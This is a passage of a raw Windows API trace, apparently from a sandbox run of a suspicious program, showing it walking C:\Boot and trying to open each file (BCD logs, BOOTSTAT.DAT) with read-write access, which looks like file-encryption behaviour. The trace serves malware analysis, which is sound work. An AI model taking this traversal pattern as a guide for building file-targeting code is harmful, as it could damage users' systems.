ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.801] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.801] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.801] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x75a53af0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x75a53af0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0124.801] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.801] PathFindExtensionW (pszPath="C:\\Boot\\BCD") returned="" [0124.801] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.801] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x75759f70, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0124.801] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.801] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG") returned=".LOG" [0124.801] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.801] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.801] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0124.801] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.801] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.801] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.801] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG1") returned=".LOG1" [0124.801] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.801] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.801] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0124.801] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.801] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.801] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.801] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG2") returned=".LOG2" [0124.801] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.802] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0124.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.802] PathFindExtensionW (pszPath="C:\\Boot\\BOOTSTAT.DAT") returned=".DAT" [0124.802] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.802] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0124.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1c) returned 0x3076dc8 [0124.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e90 [0124.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.802] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0124.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x38) returned 0x306c8e0 [0124.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076ee0 [0124.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e90 | out: hHeap=0x5c0000) returned 1 [0124.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.802] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0124.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x54) returned 0x3061720 [0124.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e90 [0124.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e18 [0124.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076ee0 | out: hHeap=0x5c0000) returned 1 [0124.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x306c8e0 | out: hHeap=0x5c0000) returned 1 [0124.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.803] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0124.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0124.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076ee0 [0124.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3040cc0 [0124.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e90 | out: hHeap=0x5c0000) returned 1 [0124.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x5c0000) returned 1 [0124.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3061720 | out: hHeap=0x5c0000) returned 1 [0124.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.803] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0124.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa8) returned 0x2fd8818 [0124.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e18 [0124.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e90 [0124.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3040ce8 [0124.803] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x678f70 [0124.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076ee0 | out: hHeap=0x5c0000) returned 1 [0124.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3040cc0 | out: hHeap=0x5c0000) returned 1 [0124.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0124.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.804] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0124.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.804] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0124.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfc) returned 0x3098bf8 [0124.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076ee0 [0124.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3040cc0 [0124.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3082f40 [0124.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3082f68 [0124.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3082f90 [0124.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3082fb8 [0124.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x5c0000) returned 1 [0124.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e90 | out: hHeap=0x5c0000) returned 1 [0124.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3040ce8 | out: hHeap=0x5c0000) returned 1 [0124.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x678f70 | out: hHeap=0x5c0000) returned 1 [0124.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0124.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.804] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.805] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0124.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.805] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0124.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e90 [0124.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.805] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0124.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x16c) returned 0x308d780 [0124.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e18 [0124.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3082fe0 [0124.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3083008 [0124.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3083030 [0124.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3083058 [0124.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3083080 [0124.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30830a8 [0124.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30830d0 [0124.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30830f8 [0124.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076ee0 | out: hHeap=0x5c0000) returned 1 [0124.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3040cc0 | out: hHeap=0x5c0000) returned 1 [0124.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3082f40 | out: hHeap=0x5c0000) returned 1 [0124.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3082f68 | out: hHeap=0x5c0000) returned 1 [0124.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3082f90 | out: hHeap=0x5c0000) returned 1 [0124.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3082fb8 | out: hHeap=0x5c0000) returned 1 [0124.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e90 | out: hHeap=0x5c0000) returned 1 [0124.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0124.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e90 [0124.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.806] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0124.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.806] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, 